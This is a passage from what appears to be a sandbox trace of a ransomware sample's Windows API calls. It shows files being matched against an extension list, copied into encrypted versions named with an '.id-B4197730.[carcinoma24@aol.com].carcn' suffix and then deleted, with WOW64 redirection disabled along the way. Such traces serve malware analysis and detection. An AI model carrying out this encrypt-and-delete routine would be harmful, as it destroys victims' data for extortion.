-1 [0288.100] lstrlenW (lpString=".docx") returned 5 [0288.100] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0288.100] lstrlenW (lpString=".pdf") returned 4 [0288.100] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.100] lstrlenW (lpString=".xls") returned 4 [0288.100] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.100] lstrlenW (lpString=".xlsx") returned 5 [0288.100] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0288.100] lstrlenW (lpString=".ppt") returned 4 [0288.101] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0288.101] lstrlenW (lpString=".zip") returned 4 [0288.101] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.101] lstrlenW (lpString=".rar") returned 4 [0288.101] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.101] lstrlenW (lpString=".bz2") returned 4 [0288.101] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.101] lstrlenW (lpString=".7z") returned 3 [0288.101] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0288.101] lstrlenW (lpString=".dbf") returned 4 [0288.101] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0288.101] lstrlenW (lpString=".1cd") returned 4 [0288.101] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.101] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0089945.WMF") returned 68 [0288.101] lstrlenW (lpString=".jpg") returned 4 [0288.101] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.102] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=21268) returned 1 [0288.102] CloseHandle (hObject=0x394) returned 1 [0288.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf")) returned 0x220 [0288.102] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0288.102] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0288.103] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.103] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.103] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0288.104] GetLastError () returned 0x0 [0288.104] ReadFile (in: hFile=0x394, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x5314, lpOverlapped=0x0) returned 1 [0288.107] WriteFile (in: hFile=0x370, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x5320, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x5320, lpOverlapped=0x0) returned 1 [0288.108] ReadFile (in: hFile=0x394, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.108] WriteFile (in: hFile=0x370, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0288.108] SetEndOfFile (hFile=0x370) returned 1 [0288.109] CloseHandle (hObject=0x370) returned 1 [0288.109] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.109] SetEndOfFile (hFile=0x394) returned 1 [0288.112] CloseHandle (hObject=0x394) returned 1 [0288.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0288.113] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090027.wmf")) returned 1 [0288.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0288.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0288.114] lstrlenW (lpString=".doc") returned 4 [0288.114] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.114] lstrlenW (lpString=".docx") returned 5 [0288.114] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0288.114] lstrlenW (lpString=".pdf") returned 4 [0288.114] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.114] lstrlenW (lpString=".xls") returned 4 [0288.114] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.114] lstrlenW (lpString=".xlsx") returned 5 [0288.114] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0288.114] lstrlenW (lpString=".ppt") returned 4 [0288.114] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.114] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0288.114] lstrlenW (lpString=".zip") returned 4 [0288.114] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.114] lstrlenW (lpString=".rar") returned 4 [0288.115] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.115] lstrlenW (lpString=".bz2") returned 4 [0288.115] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.115] lstrlenW (lpString=".7z") returned 3 [0288.115] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0288.115] lstrlenW (lpString=".dbf") returned 4 [0288.115] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0288.115] lstrlenW (lpString=".1cd") returned 4 [0288.115] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.115] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090027.WMF") returned 68 [0288.115] lstrlenW (lpString=".jpg") returned 4 [0288.115] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.129] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=46936) returned 1 [0288.129] CloseHandle (hObject=0x394) returned 1 [0288.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf")) returned 0x220 [0288.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0288.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0288.130] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.130] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x370 [0288.132] GetLastError () returned 0x0 [0288.132] ReadFile (in: hFile=0x394, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0xb758, lpOverlapped=0x0) returned 1 [0288.171] WriteFile (in: hFile=0x370, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xb760, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xb760, lpOverlapped=0x0) returned 1 [0288.188] ReadFile (in: hFile=0x394, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0288.188] WriteFile (in: hFile=0x370, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0288.188] SetEndOfFile (hFile=0x370) returned 1 [0288.188] CloseHandle (hObject=0x370) returned 1 [0288.188] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.188] SetEndOfFile (hFile=0x394) returned 1 [0288.193] CloseHandle (hObject=0x394) returned 1 [0288.194] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0288.410] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0090087.wmf")) returned 1 [0288.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0288.411] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0288.411] lstrlenW (lpString=".doc") returned 4 [0288.412] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0288.412] lstrlenW (lpString=".docx") returned 5 [0288.412] lstrcmpiW (lpString1=".docx", lpString2="7.WMF") returned -1 [0288.412] lstrlenW (lpString=".pdf") returned 4 [0288.412] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0288.412] lstrlenW (lpString=".xls") returned 4 [0288.412] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0288.412] lstrlenW (lpString=".xlsx") returned 5 [0288.412] lstrcmpiW (lpString1=".xlsx", lpString2="7.WMF") returned -1 [0288.412] lstrlenW (lpString=".ppt") returned 4 [0288.412] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0288.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0288.412] lstrlenW (lpString=".zip") returned 4 [0288.412] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0288.412] lstrlenW (lpString=".rar") returned 4 [0288.412] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0288.412] lstrlenW (lpString=".bz2") returned 4 [0288.412] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0288.412] lstrlenW (lpString=".7z") returned 3 [0288.412] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0288.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0288.412] lstrlenW (lpString=".dbf") returned 4 [0288.412] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0288.412] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0288.412] lstrlenW (lpString=".1cd") returned 4 [0288.412] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0288.413] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0090087.WMF") returned 68 [0288.413] lstrlenW (lpString=".jpg") returned 4 [0288.413] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0288.416] GetFileSizeEx (in: hFile=0x394, lpFileSize=0x2a9ff14 | out: lpFileSize=0x2a9ff14*=24759) returned 1 [0288.416] CloseHandle (hObject=0x394) returned 1 [0288.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg")) returned 0x220 [0288.416] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0288.416] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0288.417] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.417] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0288.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg.id-b4197730.[carcinoma24@aol.com].carcn"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x380 [0294.059] GetLastError () returned 0x0 [0294.059] ReadFile (in: hFile=0x394, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x60b7, lpOverlapped=0x0) returned 1 [0294.248] WriteFile (in: hFile=0x380, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0x60c0, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0x60c0, lpOverlapped=0x0) returned 1 [0294.249] ReadFile (in: hFile=0x394, lpBuffer=0x3f80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2a9fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesRead=0x2a9fecc*=0x0, lpOverlapped=0x0) returned 1 [0294.249] WriteFile (in: hFile=0x380, lpBuffer=0x3f80020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2a9fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f80020*, lpNumberOfBytesWritten=0x2a9fc94*=0xec, lpOverlapped=0x0) returned 1 [0294.250] SetEndOfFile (hFile=0x380) returned 1 [0294.250] CloseHandle (hObject=0x380) returned 1 [0294.250] SetFilePointerEx (in: hFile=0x394, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2a9fec0 | out: lpNewFilePointer=0x0) returned 1 [0294.250] SetEndOfFile (hFile=0x394) returned 1 [0294.253] CloseHandle (hObject=0x394) returned 1 [0294.253] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG.id-B4197730.[carcinoma24@aol.com].carcn", dwFileAttributes=0x220) returned 1 [0294.254] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099145.jpg")) returned 1 [0294.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0294.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0294.255] lstrlenW (lpString=".doc") returned 4 [0294.255] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0294.255] lstrlenW (lpString=".docx") returned 5 [0294.255] lstrcmpiW (lpString1=".docx", lpString2="5.JPG") returned -1 [0294.255] lstrlenW (lpString=".pdf") returned 4 [0294.255] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0294.255] lstrlenW (lpString=".xls") returned 4 [0294.255] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0294.255] lstrlenW (lpString=".xlsx") returned 5 [0294.255] lstrcmpiW (lpString1=".xlsx", lpString2="5.JPG") returned -1 [0294.255] lstrlenW (lpString=".ppt") returned 4 [0294.255] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0294.255] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0294.255] lstrlenW (lpString=".zip") returned 4 [0294.255] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0294.255] lstrlenW (lpString=".rar") returned 4 [0294.256] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0294.256] lstrlenW (lpString=".bz2") returned 4 [0294.256] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0294.256] lstrlenW (lpString=".7z") returned 3 [0294.256] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0294.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0294.256] lstrlenW (lpString=".dbf") returned 4 [0294.256] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0294.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0294.256] lstrlenW (lpString=".1cd") returned 4 [0294.256] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0294.256] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099145.JPG") returned 68 [0294.256] lstrlenW (lpString=".jpg") returned 4 [0294.256] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0294.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a0ad0 | out: hHeap=0x640000) returned 1 [0294.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6cdf00 | out: hHeap=0x640000) returned 1 [0294.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3762070 | out: hHeap=0x640000) returned 1 [0294.256] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3772078 | out: hHeap=0x640000) returned 1 [0294.258] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x3f80020 | out: hHeap=0x640000) returned 1 [0294.264] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x6a0bf0 | out: hHeap=0x640000) returned 1 [0294.264] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x45e9540 [0294.264] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x45e9540, Size=0x20) returned 0x699c58 [0294.264] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x45e9540 [0294.264] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x45e9540, Size=0x20) returned 0x699af0 [0294.264] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0294.265] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0294.265] Wow64DisableWow64FsRedirection (in: OldValue=0x2a9ff50 | out: OldValue=0x2a9ff50*=0x1) returned 1 [0294.265] lstrlenW (lpString="kernel32.dll") returned 12 [0294.265] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x699af0 | out: hHeap=0x640000) returned 1 [0294.265] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0294.265] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x699c58 | out: hHeap=0x640000) returned 1 Thread: id = 45 os_tid = 0xd5c [0250.916] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10000) returned 0x70f9e8 [0250.917] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10000) returned 0x71f9f0 [0250.917] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a0920 [0250.917] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x6) returned 0x6ce100 [0250.917] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a08d8 [0250.917] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x100000) returned 0x3617020 [0250.920] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a0938 [0250.920] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6a0938, Size=0x20) returned 0x680b50 [0250.920] RtlAllocateHeap (HeapHandle=0x640000, Flags=0x0, Size=0x10) returned 0x6a0938 [0250.920] RtlReAllocateHeap (Heap=0x640000, Flags=0x0, Ptr=0x6a0938, Size=0x20) returned 0x680a10 [0250.920] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76650000 [0250.921] GetProcAddress (hModule=0x76650000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76666b30 [0250.921] Wow64DisableWow64FsRedirection (in: OldValue=0x2bdff50 | out: OldValue=0x2bdff50*=0x0) returned 1 [0250.921] lstrlenW (lpString="kernel32.dll") returned 12 [0250.921] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680b50 | out: hHeap=0x640000) returned 1 [0250.921] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0250.921] HeapFree (in: hHeap=0x640000, dwFlags=0x0, lpMem=0x680a10 | out: hHeap=0x640000) returned 1 [0250.921] Sleep (dwMilliseconds=0x64) [0251.294] Sleep (dwMilliseconds=0x64) [0251.745] Sleep (dwMilliseconds=0x64) [0252.117] Sleep (dwMilliseconds=0x64) [0252.459] Sleep (dwMilliseconds=0x64) [0252.902] Sleep (dwMilliseconds=0x64) [0253.465] Sleep (dwMilliseconds=0x64) [0253.745] Sleep (dwMilliseconds=0x64) [0254.392] Sleep (dwMilliseconds=0x64) [0254.809] Sleep (dwMilliseconds=0x64) [0255.268] lstrcmpiW (lpString1=".avi", lpString2=".carcn") returned -1 [0255.268] lstrlenW (lpString="boxed-correct.avi") returned 17 [0255.268] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0255.269] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x2bdff14 | out: lpFileSize=0x2bdff14*=111320) returned 1 [0255.269] CloseHandle (hObject=0x38c) returned 1 [0255.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi")) returned 0x20 [0255.269] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi.id-B4197730.[carcinoma24@aol.com].carcn" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi.id-b4197730.[carcinoma24@aol.com].carcn")) returned 0xffffffff [0255.269] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0255.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0255.269] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0255.269] lstrlenW (lpString=".doc") returned 4 [0255.269] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0255.269] lstrlenW (lpString=".docx") returned 5 [0255.269] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0255.270] lstrlenW (lpString=".pdf") returned 4 [0255.270] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0255.270] lstrlenW (lpString=".xls") returned 4 [0255.270] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0255.270] lstrlenW (lpString=".xlsx") returned 5 [0255.270] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0255.270] lstrlenW (lpString=".ppt") returned 4 [0255.270] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0255.270] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-correct.avi") returned 74 [0255.270] lstrlenW (lpString=".zip") returned 4 [0255.270] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0255.270] lstrlenW (lpString=".rar") returned 4 [0255.270] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0255.270] lstrlenW (lpString=".bz2") returned 4 [0255.270] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0255.270] lstrlenW (lpString=".7z") returned 3 [0255.270] lstrcmpiW (lpString1=".7z", 